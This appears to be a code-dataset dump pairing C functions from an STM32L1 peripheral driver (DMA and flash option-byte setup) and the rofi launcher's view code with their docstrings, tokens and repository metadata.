/** * @brief Initializes the DMAy Channelx according to the specified * parameters in the DMA_InitStruct. * @param DMAy_Channelx: where y can be 1 or 2 to select the DMA and x can be * 1 to 7 for DMA1 and 1 to 5 for DMA2 to select the DMA Channel. * @param DMA_InitStruct: pointer to a DMA_InitTypeDef structure that * contains the configuration information for the specified DMA Channel. * @retval None */
@brief Initializes the DMAy Channelx according to the specified parameters in the DMA_InitStruct. @param DMAy_Channelx: where y can be 1 or 2 to select the DMA and x can be 1 to 7 for DMA1 and 1 to 5 for DMA2 to select the DMA Channel. @param DMA_InitStruct: pointer to a DMA_InitTypeDef structure that contains the configuration information for the specified DMA Channel. @retval None
[ "@brief", "Initializes", "the", "DMAy", "Channelx", "according", "to", "the", "specified", "parameters", "in", "the", "DMA_InitStruct", ".", "@param", "DMAy_Channelx", ":", "where", "y", "can", "be", "1", "or", "2", "to", "select", "the", "DMA", "and", "x", "can", "be", "1", "to", "7", "for", "DMA1", "and", "1", "to", "5", "for", "DMA2", "to", "select", "the", "DMA", "Channel", ".", "@param", "DMA_InitStruct", ":", "pointer", "to", "a", "DMA_InitTypeDef", "structure", "that", "contains", "the", "configuration", "information", "for", "the", "specified", "DMA", "Channel", ".", "@retval", "None" ]
void DMA_Init(DMA_Channel_TypeDef* DMAy_Channelx, DMA_InitTypeDef* DMA_InitStruct) { uint32_t tmpreg = 0; assert_param(IS_DMA_ALL_PERIPH(DMAy_Channelx)); assert_param(IS_DMA_DIR(DMA_InitStruct->DMA_DIR)); assert_param(IS_DMA_BUFFER_SIZE(DMA_InitStruct->DMA_BufferSize)); assert_param(IS_DMA_PERIPHERAL_INC_STATE(DMA_InitStruct->DMA_PeripheralInc)); assert_param(IS_DMA_MEMORY_INC_STATE(DMA_InitStruct->DMA_MemoryInc)); assert_param(IS_DMA_PERIPHERAL_DATA_SIZE(DMA_InitStruct->DMA_PeripheralDataSize)); assert_param(IS_DMA_MEMORY_DATA_SIZE(DMA_InitStruct->DMA_MemoryDataSize)); assert_param(IS_DMA_MODE(DMA_InitStruct->DMA_Mode)); assert_param(IS_DMA_PRIORITY(DMA_InitStruct->DMA_Priority)); assert_param(IS_DMA_M2M_STATE(DMA_InitStruct->DMA_M2M)); tmpreg = DMAy_Channelx->CCR; tmpreg &= CCR_CLEAR_MASK; tmpreg |= DMA_InitStruct->DMA_DIR | DMA_InitStruct->DMA_Mode | DMA_InitStruct->DMA_PeripheralInc | DMA_InitStruct->DMA_MemoryInc | DMA_InitStruct->DMA_PeripheralDataSize | DMA_InitStruct->DMA_MemoryDataSize | DMA_InitStruct->DMA_Priority | DMA_InitStruct->DMA_M2M; DMAy_Channelx->CCR = tmpreg; DMAy_Channelx->CNDTR = DMA_InitStruct->DMA_BufferSize; DMAy_Channelx->CPAR = DMA_InitStruct->DMA_PeripheralBaseAddr; DMAy_Channelx->CMAR = DMA_InitStruct->DMA_MemoryBaseAddr; }
[ "void", "DMA_Init", "(", "DMA_Channel_TypeDef", "*", "DMAy_Channelx", ",", "DMA_InitTypeDef", "*", "DMA_InitStruct", ")", "{", "uint32_t", "tmpreg", "=", "0", ";", "assert_param", "(", "IS_DMA_ALL_PERIPH", "(", "DMAy_Channelx", ")", ")", ";", "assert_param", "(", "IS_DMA_DIR", "(", "DMA_InitStruct", "->", "DMA_DIR", ")", ")", ";", "assert_param", "(", "IS_DMA_BUFFER_SIZE", "(", "DMA_InitStruct", "->", "DMA_BufferSize", ")", ")", ";", "assert_param", "(", "IS_DMA_PERIPHERAL_INC_STATE", "(", "DMA_InitStruct", "->", "DMA_PeripheralInc", ")", ")", ";", "assert_param", "(", "IS_DMA_MEMORY_INC_STATE", "(", "DMA_InitStruct", "->", "DMA_MemoryInc", ")", ")", ";", "assert_param", "(", "IS_DMA_PERIPHERAL_DATA_SIZE", "(", "DMA_InitStruct", "->", "DMA_PeripheralDataSize", ")", ")", ";", "assert_param", "(", "IS_DMA_MEMORY_DATA_SIZE", "(", "DMA_InitStruct", "->", "DMA_MemoryDataSize", ")", ")", ";", "assert_param", "(", "IS_DMA_MODE", "(", "DMA_InitStruct", "->", "DMA_Mode", ")", ")", ";", "assert_param", "(", "IS_DMA_PRIORITY", "(", "DMA_InitStruct", "->", "DMA_Priority", ")", ")", ";", "assert_param", "(", "IS_DMA_M2M_STATE", "(", "DMA_InitStruct", "->", "DMA_M2M", ")", ")", ";", "tmpreg", "=", "DMAy_Channelx", "->", "CCR", ";", "tmpreg", "&=", "CCR_CLEAR_MASK", ";", "tmpreg", "|=", "DMA_InitStruct", "->", "DMA_DIR", "|", "DMA_InitStruct", "->", "DMA_Mode", "|", "DMA_InitStruct", "->", "DMA_PeripheralInc", "|", "DMA_InitStruct", "->", "DMA_MemoryInc", "|", "DMA_InitStruct", "->", "DMA_PeripheralDataSize", "|", "DMA_InitStruct", "->", "DMA_MemoryDataSize", "|", "DMA_InitStruct", "->", "DMA_Priority", "|", "DMA_InitStruct", "->", "DMA_M2M", ";", "DMAy_Channelx", "->", "CCR", "=", "tmpreg", ";", "DMAy_Channelx", "->", "CNDTR", "=", "DMA_InitStruct", "->", "DMA_BufferSize", ";", "DMAy_Channelx", "->", "CPAR", "=", "DMA_InitStruct", "->", "DMA_PeripheralBaseAddr", ";", "DMAy_Channelx", "->", "CMAR", "=", "DMA_InitStruct", "->", "DMA_MemoryBaseAddr", ";", "}" ]
@brief Initializes the DMAy Channelx according to the specified parameters in the DMA_InitStruct.
[ "@brief", "Initializes", "the", "DMAy", "Channelx", "according", "to", "the", "specified", "parameters", "in", "the", "DMA_InitStruct", "." ]
[ "/* Check the parameters */", "/*--------------------------- DMAy Channelx CCR Configuration -----------------*/", "/* Get the DMAy_Channelx CCR value */", "/* Clear MEM2MEM, PL, MSIZE, PSIZE, MINC, PINC, CIRC and DIR bits */", "/* Configure DMAy Channelx: data transfer, data size, priority level and mode */", "/* Set DIR bit according to DMA_DIR value */", "/* Set CIRC bit according to DMA_Mode value */", "/* Set PINC bit according to DMA_PeripheralInc value */", "/* Set MINC bit according to DMA_MemoryInc value */", "/* Set PSIZE bits according to DMA_PeripheralDataSize value */", "/* Set MSIZE bits according to DMA_MemoryDataSize value */", "/* Set PL bits according to DMA_Priority value */", "/* Set the MEM2MEM bit according to DMA_M2M value */", "/* Write to DMAy Channelx CCR */", "/*--------------------------- DMAy Channelx CNDTR Configuration ---------------*/", "/* Write to DMAy Channelx CNDTR */", "/*--------------------------- DMAy Channelx CPAR Configuration ----------------*/", "/* Write to DMAy Channelx CPAR */", "/*--------------------------- DMAy Channelx CMAR Configuration ----------------*/", "/* Write to DMAy Channelx CMAR */" ]
[ { "param": "DMAy_Channelx", "type": "DMA_Channel_TypeDef" }, { "param": "DMA_InitStruct", "type": "DMA_InitTypeDef" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "DMAy_Channelx", "type": "DMA_Channel_TypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "DMA_InitStruct", "type": "DMA_InitTypeDef", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
7fba1536a556f460052e6bc2b42c51caa46f33e3
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_flash.c
[ "MIT" ]
C
FLASH_OB_RDPConfig
FLASH_Status
FLASH_Status FLASH_OB_RDPConfig(uint8_t OB_RDP) { FLASH_Status status = FLASH_COMPLETE; uint8_t tmp1 = 0; uint32_t tmp2 = 0; /* Check the parameters */ assert_param(IS_OB_RDP(OB_RDP)); status = FLASH_WaitForLastOperation(FLASH_ER_PRG_TIMEOUT); /* calculate the option byte to write */ tmp1 = (uint8_t)(~(OB_RDP )); tmp2 = (uint32_t)(((uint32_t)((uint32_t)(tmp1) << 16)) | ((uint32_t)OB_RDP)); if(status == FLASH_COMPLETE) { /* program read protection level */ OB->RDP = tmp2; } /* Wait for last operation to be completed */ status = FLASH_WaitForLastOperation(FLASH_ER_PRG_TIMEOUT); /* Return the Read protection operation Status */ return status; }
/** * @brief Enables or disables the read out protection. * @note To correctly run this function, the FLASH_OB_Unlock() function * must be called before. * Call the FLASH_OB_Lock() to disable the flash control register access and the option bytes * (recommended to protect the FLASH memory against possible unwanted operation). * @param FLASH_ReadProtection_Level: specifies the read protection level. * This parameter can be: * @arg OB_RDP_Level_0: No protection * @arg OB_RDP_Level_1: Read protection of the memory * @arg OB_RDP_Level_2: Chip protection * @retval FLASH Status: The returned value can be: * FLASH_ERROR_PROGRAM, FLASH_ERROR_WRP, FLASH_COMPLETE or FLASH_TIMEOUT. */
@brief Enables or disables the read out protection. @note To correctly run this function, the FLASH_OB_Unlock() function must be called before. Call the FLASH_OB_Lock() to disable the flash control register access and the option bytes (recommended to protect the FLASH memory against possible unwanted operation). @param FLASH_ReadProtection_Level: specifies the read protection level.
[ "@brief", "Enables", "or", "disables", "the", "read", "out", "protection", ".", "@note", "To", "correctly", "run", "this", "function", "the", "FLASH_OB_Unlock", "()", "function", "must", "be", "called", "before", ".", "Call", "the", "FLASH_OB_Lock", "()", "to", "disable", "the", "flash", "control", "register", "access", "and", "the", "option", "bytes", "(", "recommended", "to", "protect", "the", "FLASH", "memory", "against", "possible", "unwanted", "operation", ")", ".", "@param", "FLASH_ReadProtection_Level", ":", "specifies", "the", "read", "protection", "level", "." ]
FLASH_Status FLASH_OB_RDPConfig(uint8_t OB_RDP) { FLASH_Status status = FLASH_COMPLETE; uint8_t tmp1 = 0; uint32_t tmp2 = 0; assert_param(IS_OB_RDP(OB_RDP)); status = FLASH_WaitForLastOperation(FLASH_ER_PRG_TIMEOUT); tmp1 = (uint8_t)(~(OB_RDP )); tmp2 = (uint32_t)(((uint32_t)((uint32_t)(tmp1) << 16)) | ((uint32_t)OB_RDP)); if(status == FLASH_COMPLETE) { OB->RDP = tmp2; } status = FLASH_WaitForLastOperation(FLASH_ER_PRG_TIMEOUT); return status; }
[ "FLASH_Status", "FLASH_OB_RDPConfig", "(", "uint8_t", "OB_RDP", ")", "{", "FLASH_Status", "status", "=", "FLASH_COMPLETE", ";", "uint8_t", "tmp1", "=", "0", ";", "uint32_t", "tmp2", "=", "0", ";", "assert_param", "(", "IS_OB_RDP", "(", "OB_RDP", ")", ")", ";", "status", "=", "FLASH_WaitForLastOperation", "(", "FLASH_ER_PRG_TIMEOUT", ")", ";", "tmp1", "=", "(", "uint8_t", ")", "(", "~", "(", "OB_RDP", ")", ")", ";", "tmp2", "=", "(", "uint32_t", ")", "(", "(", "(", "uint32_t", ")", "(", "(", "uint32_t", ")", "(", "tmp1", ")", "<<", "16", ")", ")", "|", "(", "(", "uint32_t", ")", "OB_RDP", ")", ")", ";", "if", "(", "status", "==", "FLASH_COMPLETE", ")", "{", "OB", "->", "RDP", "=", "tmp2", ";", "}", "status", "=", "FLASH_WaitForLastOperation", "(", "FLASH_ER_PRG_TIMEOUT", ")", ";", "return", "status", ";", "}" ]
@brief Enables or disables the read out protection.
[ "@brief", "Enables", "or", "disables", "the", "read", "out", "protection", "." ]
[ "/* Check the parameters */", "/* calculate the option byte to write */", "/* program read protection level */", "/* Wait for last operation to be completed */", "/* Return the Read protection operation Status */" ]
[ { "param": "OB_RDP", "type": "uint8_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "OB_RDP", "type": "uint8_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
7fba1536a556f460052e6bc2b42c51caa46f33e3
RoboCraft/HD44780
examples/stm32l1xx_ldiscovery/StdPeripheralDriver/src/stm32l1xx_flash.c
[ "MIT" ]
C
FLASH_OB_UserConfig
FLASH_Status
FLASH_Status FLASH_OB_UserConfig(uint8_t OB_IWDG, uint8_t OB_STOP, uint8_t OB_STDBY) { FLASH_Status status = FLASH_COMPLETE; uint32_t tmp = 0, tmp1 = 0; /* Check the parameters */ assert_param(IS_OB_IWDG_SOURCE(OB_IWDG)); assert_param(IS_OB_STOP_SOURCE(OB_STOP)); assert_param(IS_OB_STDBY_SOURCE(OB_STDBY)); /* Get the User Option byte register */ tmp1 = (FLASH->OBR & 0x000F0000) >> 16; /* Calculate the user option byte to write */ tmp = (uint32_t)(((uint32_t)~((uint32_t)((uint32_t)(OB_IWDG) | (uint32_t)(OB_STOP) | (uint32_t)(OB_STDBY) | tmp1))) << ((uint32_t)0x10)); tmp |= ((uint32_t)(OB_IWDG) | ((uint32_t)OB_STOP) | (uint32_t)(OB_STDBY) | tmp1); /* Wait for last operation to be completed */ status = FLASH_WaitForLastOperation(FLASH_ER_PRG_TIMEOUT); if(status == FLASH_COMPLETE) { /* Write the User Option Byte */ OB->USER = tmp; } /* Wait for last operation to be completed */ status = FLASH_WaitForLastOperation(FLASH_ER_PRG_TIMEOUT); /* Return the Option Byte program Status */ return status; }
/** * @brief Programs the FLASH User Option Byte: IWDG_SW / RST_STOP / RST_STDBY. * @note To correctly run this function, the FLASH_OB_Unlock() function * must be called before. * Call the FLASH_OB_Lock() to disable the flash control register access and the option bytes * (recommended to protect the FLASH memory against possible unwanted operation). * @param OB_IWDG: Selects the WDG mode. * This parameter can be one of the following values: * @arg OB_IWDG_SW: Software WDG selected * @arg OB_IWDG_HW: Hardware WDG selected * @param OB_STOP: Reset event when entering STOP mode. * This parameter can be one of the following values: * @arg OB_STOP_NoRST: No reset generated when entering in STOP * @arg OB_STOP_RST: Reset generated when entering in STOP * @param OB_STDBY: Reset event when entering Standby mode. * This parameter can be one of the following values: * @arg OB_STDBY_NoRST: No reset generated when entering in STANDBY * @arg OB_STDBY_RST: Reset generated when entering in STANDBY * @retval FLASH Status: The returned value can be: * FLASH_ERROR_PROGRAM, FLASH_ERROR_WRP, FLASH_COMPLETE or FLASH_TIMEOUT. */
@brief Programs the FLASH User Option Byte: IWDG_SW / RST_STOP / RST_STDBY. @note To correctly run this function, the FLASH_OB_Unlock() function must be called before. Call the FLASH_OB_Lock() to disable the flash control register access and the option bytes (recommended to protect the FLASH memory against possible unwanted operation). @param OB_IWDG: Selects the WDG mode. This parameter can be one of the following values: @arg OB_IWDG_SW: Software WDG selected @arg OB_IWDG_HW: Hardware WDG selected @param OB_STOP: Reset event when entering STOP mode. This parameter can be one of the following values: @arg OB_STOP_NoRST: No reset generated when entering in STOP @arg OB_STOP_RST: Reset generated when entering in STOP @param OB_STDBY: Reset event when entering Standby mode.
[ "@brief", "Programs", "the", "FLASH", "User", "Option", "Byte", ":", "IWDG_SW", "/", "RST_STOP", "/", "RST_STDBY", ".", "@note", "To", "correctly", "run", "this", "function", "the", "FLASH_OB_Unlock", "()", "function", "must", "be", "called", "before", ".", "Call", "the", "FLASH_OB_Lock", "()", "to", "disable", "the", "flash", "control", "register", "access", "and", "the", "option", "bytes", "(", "recommended", "to", "protect", "the", "FLASH", "memory", "against", "possible", "unwanted", "operation", ")", ".", "@param", "OB_IWDG", ":", "Selects", "the", "WDG", "mode", ".", "This", "parameter", "can", "be", "one", "of", "the", "following", "values", ":", "@arg", "OB_IWDG_SW", ":", "Software", "WDG", "selected", "@arg", "OB_IWDG_HW", ":", "Hardware", "WDG", "selected", "@param", "OB_STOP", ":", "Reset", "event", "when", "entering", "STOP", "mode", ".", "This", "parameter", "can", "be", "one", "of", "the", "following", "values", ":", "@arg", "OB_STOP_NoRST", ":", "No", "reset", "generated", "when", "entering", "in", "STOP", "@arg", "OB_STOP_RST", ":", "Reset", "generated", "when", "entering", "in", "STOP", "@param", "OB_STDBY", ":", "Reset", "event", "when", "entering", "Standby", "mode", "." ]
FLASH_Status FLASH_OB_UserConfig(uint8_t OB_IWDG, uint8_t OB_STOP, uint8_t OB_STDBY) { FLASH_Status status = FLASH_COMPLETE; uint32_t tmp = 0, tmp1 = 0; assert_param(IS_OB_IWDG_SOURCE(OB_IWDG)); assert_param(IS_OB_STOP_SOURCE(OB_STOP)); assert_param(IS_OB_STDBY_SOURCE(OB_STDBY)); tmp1 = (FLASH->OBR & 0x000F0000) >> 16; tmp = (uint32_t)(((uint32_t)~((uint32_t)((uint32_t)(OB_IWDG) | (uint32_t)(OB_STOP) | (uint32_t)(OB_STDBY) | tmp1))) << ((uint32_t)0x10)); tmp |= ((uint32_t)(OB_IWDG) | ((uint32_t)OB_STOP) | (uint32_t)(OB_STDBY) | tmp1); status = FLASH_WaitForLastOperation(FLASH_ER_PRG_TIMEOUT); if(status == FLASH_COMPLETE) { OB->USER = tmp; } status = FLASH_WaitForLastOperation(FLASH_ER_PRG_TIMEOUT); return status; }
[ "FLASH_Status", "FLASH_OB_UserConfig", "(", "uint8_t", "OB_IWDG", ",", "uint8_t", "OB_STOP", ",", "uint8_t", "OB_STDBY", ")", "{", "FLASH_Status", "status", "=", "FLASH_COMPLETE", ";", "uint32_t", "tmp", "=", "0", ",", "tmp1", "=", "0", ";", "assert_param", "(", "IS_OB_IWDG_SOURCE", "(", "OB_IWDG", ")", ")", ";", "assert_param", "(", "IS_OB_STOP_SOURCE", "(", "OB_STOP", ")", ")", ";", "assert_param", "(", "IS_OB_STDBY_SOURCE", "(", "OB_STDBY", ")", ")", ";", "tmp1", "=", "(", "FLASH", "->", "OBR", "&", "0x000F0000", ")", ">>", "16", ";", "tmp", "=", "(", "uint32_t", ")", "(", "(", "(", "uint32_t", ")", "~", "(", "(", "uint32_t", ")", "(", "(", "uint32_t", ")", "(", "OB_IWDG", ")", "|", "(", "uint32_t", ")", "(", "OB_STOP", ")", "|", "(", "uint32_t", ")", "(", "OB_STDBY", ")", "|", "tmp1", ")", ")", ")", "<<", "(", "(", "uint32_t", ")", "0x10", ")", ")", ";", "tmp", "|=", "(", "(", "uint32_t", ")", "(", "OB_IWDG", ")", "|", "(", "(", "uint32_t", ")", "OB_STOP", ")", "|", "(", "uint32_t", ")", "(", "OB_STDBY", ")", "|", "tmp1", ")", ";", "status", "=", "FLASH_WaitForLastOperation", "(", "FLASH_ER_PRG_TIMEOUT", ")", ";", "if", "(", "status", "==", "FLASH_COMPLETE", ")", "{", "OB", "->", "USER", "=", "tmp", ";", "}", "status", "=", "FLASH_WaitForLastOperation", "(", "FLASH_ER_PRG_TIMEOUT", ")", ";", "return", "status", ";", "}" ]
@brief Programs the FLASH User Option Byte: IWDG_SW / RST_STOP / RST_STDBY.
[ "@brief", "Programs", "the", "FLASH", "User", "Option", "Byte", ":", "IWDG_SW", "/", "RST_STOP", "/", "RST_STDBY", "." ]
[ "/* Check the parameters */", "/* Get the User Option byte register */", "/* Calculate the user option byte to write */", "/* Wait for last operation to be completed */", "/* Write the User Option Byte */", "/* Wait for last operation to be completed */", "/* Return the Option Byte program Status */" ]
[ { "param": "OB_IWDG", "type": "uint8_t" }, { "param": "OB_STOP", "type": "uint8_t" }, { "param": "OB_STDBY", "type": "uint8_t" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "OB_IWDG", "type": "uint8_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "OB_STOP", "type": "uint8_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "OB_STDBY", "type": "uint8_t", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
d83d72f1e1561f29eb897546f47270bcc0881cd4
moonrisewarrior/rofi
source/view.c
[ "MIT" ]
C
rofi_view_call_thread
void
static void rofi_view_call_thread ( gpointer data, gpointer user_data ) { thread_state *t = (thread_state *) data; t->callback ( t, user_data ); }
/** * @param data A thread_state object. * @param user_data User data to pass to thread_state callback * * Small wrapper function that is internally used to pass a job to a worker. */
@param data A thread_state object. @param user_data User data to pass to thread_state callback Small wrapper function that is internally used to pass a job to a worker.
[ "@param", "data", "A", "thread_state", "object", ".", "@param", "user_data", "User", "data", "to", "pass", "to", "thread_state", "callback", "Small", "wrapper", "function", "that", "is", "internally", "used", "to", "pass", "a", "job", "to", "a", "worker", "." ]
static void rofi_view_call_thread ( gpointer data, gpointer user_data ) { thread_state *t = (thread_state *) data; t->callback ( t, user_data ); }
[ "static", "void", "rofi_view_call_thread", "(", "gpointer", "data", ",", "gpointer", "user_data", ")", "{", "thread_state", "*", "t", "=", "(", "thread_state", "*", ")", "data", ";", "t", "->", "callback", "(", "t", ",", "user_data", ")", ";", "}" ]
@param data A thread_state object.
[ "@param", "data", "A", "thread_state", "object", "." ]
[]
[ { "param": "data", "type": "gpointer" }, { "param": "user_data", "type": "gpointer" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "data", "type": "gpointer", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null }, { "identifier": "user_data", "type": "gpointer", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
d83d72f1e1561f29eb897546f47270bcc0881cd4
moonrisewarrior/rofi
source/view.c
[ "MIT" ]
C
rofi_view_calculate_window_width
void
static void rofi_view_calculate_window_width ( RofiViewState *state ) { if ( CacheState.fullscreen ) { state->width = CacheState.mon.w; return; } if ( config.menu_width < 0 ) { double fw = textbox_get_estimated_char_width ( ); state->width = -( fw * config.menu_width ); state->width += widget_padding_get_padding_width ( WIDGET ( state->main_window ) ); } else{ // Calculate as float to stop silly, big rounding down errors. state->width = config.menu_width < 101 ? ( CacheState.mon.w / 100.0f ) * ( float ) config.menu_width : config.menu_width; } // Use theme configured width, if set. RofiDistance width = rofi_theme_get_distance ( WIDGET ( state->main_window ), "width", state->width ); state->width = distance_get_pixel ( width, ROFI_ORIENTATION_HORIZONTAL ); }
/** * @param state Internal state of the menu. * * Calculate the width of the window and the width of an element. */
@param state Internal state of the menu. Calculate the width of the window and the width of an element.
[ "@param", "state", "Internal", "state", "of", "the", "menu", ".", "Calculate", "the", "width", "of", "the", "window", "and", "the", "width", "of", "an", "element", "." ]
static void rofi_view_calculate_window_width ( RofiViewState *state ) { if ( CacheState.fullscreen ) { state->width = CacheState.mon.w; return; } if ( config.menu_width < 0 ) { double fw = textbox_get_estimated_char_width ( ); state->width = -( fw * config.menu_width ); state->width += widget_padding_get_padding_width ( WIDGET ( state->main_window ) ); } else{ state->width = config.menu_width < 101 ? ( CacheState.mon.w / 100.0f ) * ( float ) config.menu_width : config.menu_width; } RofiDistance width = rofi_theme_get_distance ( WIDGET ( state->main_window ), "width", state->width ); state->width = distance_get_pixel ( width, ROFI_ORIENTATION_HORIZONTAL ); }
[ "static", "void", "rofi_view_calculate_window_width", "(", "RofiViewState", "*", "state", ")", "{", "if", "(", "CacheState", ".", "fullscreen", ")", "{", "state", "->", "width", "=", "CacheState", ".", "mon", ".", "w", ";", "return", ";", "}", "if", "(", "config", ".", "menu_width", "<", "0", ")", "{", "double", "fw", "=", "textbox_get_estimated_char_width", "(", ")", ";", "state", "->", "width", "=", "-", "(", "fw", "*", "config", ".", "menu_width", ")", ";", "state", "->", "width", "+=", "widget_padding_get_padding_width", "(", "WIDGET", "(", "state", "->", "main_window", ")", ")", ";", "}", "else", "{", "state", "->", "width", "=", "config", ".", "menu_width", "<", "101", "?", "(", "CacheState", ".", "mon", ".", "w", "/", "100.0f", ")", "*", "(", "float", ")", "config", ".", "menu_width", ":", "config", ".", "menu_width", ";", "}", "RofiDistance", "width", "=", "rofi_theme_get_distance", "(", "WIDGET", "(", "state", "->", "main_window", ")", ",", "\"", "\"", ",", "state", "->", "width", ")", ";", "state", "->", "width", "=", "distance_get_pixel", "(", "width", ",", "ROFI_ORIENTATION_HORIZONTAL", ")", ";", "}" ]
@param state Internal state of the menu.
[ "@param", "state", "Internal", "state", "of", "the", "menu", "." ]
[ "// Calculate as float to stop silly, big rounding down errors.", "// Use theme configured width, if set." ]
[ { "param": "state", "type": "RofiViewState" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "state", "type": "RofiViewState", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
d83d72f1e1561f29eb897546f47270bcc0881cd4
moonrisewarrior/rofi
source/view.c
[ "MIT" ]
C
rofi_view_nav_row_tab
void
static void rofi_view_nav_row_tab ( RofiViewState *state ) { if ( state->filtered_lines == 1 ) { state->retv = MENU_OK; ( state->selected_line ) = state->line_map[listview_get_selected ( state->list_view )]; state->quit = 1; return; } // Double tab! if ( state->filtered_lines == 0 && ROW_TAB == state->prev_action ) { state->retv = MENU_NEXT; ( state->selected_line ) = 0; state->quit = TRUE; } else { listview_nav_down ( state->list_view ); } state->prev_action = ROW_TAB; }
/** * @param state The current RofiViewState * * Tab handling. */
@param state The current RofiViewState Tab handling.
[ "@param", "state", "The", "current", "RofiViewState", "Tab", "handling", "." ]
static void rofi_view_nav_row_tab ( RofiViewState *state ) { if ( state->filtered_lines == 1 ) { state->retv = MENU_OK; ( state->selected_line ) = state->line_map[listview_get_selected ( state->list_view )]; state->quit = 1; return; } if ( state->filtered_lines == 0 && ROW_TAB == state->prev_action ) { state->retv = MENU_NEXT; ( state->selected_line ) = 0; state->quit = TRUE; } else { listview_nav_down ( state->list_view ); } state->prev_action = ROW_TAB; }
[ "static", "void", "rofi_view_nav_row_tab", "(", "RofiViewState", "*", "state", ")", "{", "if", "(", "state", "->", "filtered_lines", "==", "1", ")", "{", "state", "->", "retv", "=", "MENU_OK", ";", "(", "state", "->", "selected_line", ")", "=", "state", "->", "line_map", "[", "listview_get_selected", "(", "state", "->", "list_view", ")", "]", ";", "state", "->", "quit", "=", "1", ";", "return", ";", "}", "if", "(", "state", "->", "filtered_lines", "==", "0", "&&", "ROW_TAB", "==", "state", "->", "prev_action", ")", "{", "state", "->", "retv", "=", "MENU_NEXT", ";", "(", "state", "->", "selected_line", ")", "=", "0", ";", "state", "->", "quit", "=", "TRUE", ";", "}", "else", "{", "listview_nav_down", "(", "state", "->", "list_view", ")", ";", "}", "state", "->", "prev_action", "=", "ROW_TAB", ";", "}" ]
@param state The current RofiViewState Tab handling.
[ "@param", "state", "The", "current", "RofiViewState", "Tab", "handling", "." ]
[ "// Double tab!" ]
[ { "param": "state", "type": "RofiViewState" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "state", "type": "RofiViewState", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
d83d72f1e1561f29eb897546f47270bcc0881cd4
moonrisewarrior/rofi
source/view.c
[ "MIT" ]
C
rofi_view_nav_row_select
void
inline static void rofi_view_nav_row_select ( RofiViewState *state ) { if ( state->list_view == NULL ) { return; } unsigned int selected = listview_get_selected ( state->list_view ); // If a valid item is selected, return that.. if ( selected < state->filtered_lines ) { char *str = mode_get_completion ( state->sw, state->line_map[selected] ); textbox_text ( state->text, str ); g_free ( str ); textbox_keybinding ( state->text, MOVE_END ); state->refilter = TRUE; } }
/** * @param state The current RofiViewState * * complete current row. */
@param state The current RofiViewState complete current row.
[ "@param", "state", "The", "current", "RofiViewState", "complete", "current", "row", "." ]
inline static void rofi_view_nav_row_select ( RofiViewState *state ) { if ( state->list_view == NULL ) { return; } unsigned int selected = listview_get_selected ( state->list_view ); if ( selected < state->filtered_lines ) { char *str = mode_get_completion ( state->sw, state->line_map[selected] ); textbox_text ( state->text, str ); g_free ( str ); textbox_keybinding ( state->text, MOVE_END ); state->refilter = TRUE; } }
[ "inline", "static", "void", "rofi_view_nav_row_select", "(", "RofiViewState", "*", "state", ")", "{", "if", "(", "state", "->", "list_view", "==", "NULL", ")", "{", "return", ";", "}", "unsigned", "int", "selected", "=", "listview_get_selected", "(", "state", "->", "list_view", ")", ";", "if", "(", "selected", "<", "state", "->", "filtered_lines", ")", "{", "char", "*", "str", "=", "mode_get_completion", "(", "state", "->", "sw", ",", "state", "->", "line_map", "[", "selected", "]", ")", ";", "textbox_text", "(", "state", "->", "text", ",", "str", ")", ";", "g_free", "(", "str", ")", ";", "textbox_keybinding", "(", "state", "->", "text", ",", "MOVE_END", ")", ";", "state", "->", "refilter", "=", "TRUE", ";", "}", "}" ]
@param state The current RofiViewState complete current row.
[ "@param", "state", "The", "current", "RofiViewState", "complete", "current", "row", "." ]
[ "// If a valid item is selected, return that.." ]
[ { "param": "state", "type": "RofiViewState" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "state", "type": "RofiViewState", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
d83d72f1e1561f29eb897546f47270bcc0881cd4
moonrisewarrior/rofi
source/view.c
[ "MIT" ]
C
rofi_view_nav_first
void
inline static void rofi_view_nav_first ( RofiViewState * state ) { // state->selected = 0; listview_set_selected ( state->list_view, 0 ); }
/** * @param state The current RofiViewState * * Move the selection to first row. */
@param state The current RofiViewState Move the selection to first row.
[ "@param", "state", "The", "current", "RofiViewState", "Move", "the", "selection", "to", "first", "row", "." ]
inline static void rofi_view_nav_first ( RofiViewState * state ) { listview_set_selected ( state->list_view, 0 ); }
[ "inline", "static", "void", "rofi_view_nav_first", "(", "RofiViewState", "*", "state", ")", "{", "listview_set_selected", "(", "state", "->", "list_view", ",", "0", ")", ";", "}" ]
@param state The current RofiViewState Move the selection to first row.
[ "@param", "state", "The", "current", "RofiViewState", "Move", "the", "selection", "to", "first", "row", "." ]
[ "// state->selected = 0;" ]
[ { "param": "state", "type": "RofiViewState" } ]
{ "returns": [], "raises": [], "params": [ { "identifier": "state", "type": "RofiViewState", "docstring": null, "docstring_tokens": [], "default": null, "is_optional": null } ], "outlier_params": [], "others": [] }
d83d72f1e1561f29eb897546f47270bcc0881cd4
moonrisewarrior/rofi
source/view.c
[ "MIT" ]
C
rofi_view_nav_last
void
inline static void rofi_view_nav_last ( RofiViewState * state ) { // If no lines, do nothing. if ( state->filtered_lines == 0 ) { return; } //state->selected = state->filtered_lines - 1; listview_set_selected ( state->list_view, -1 ); }
/** * @param state The current RofiViewState * * Move the selection to last row. */
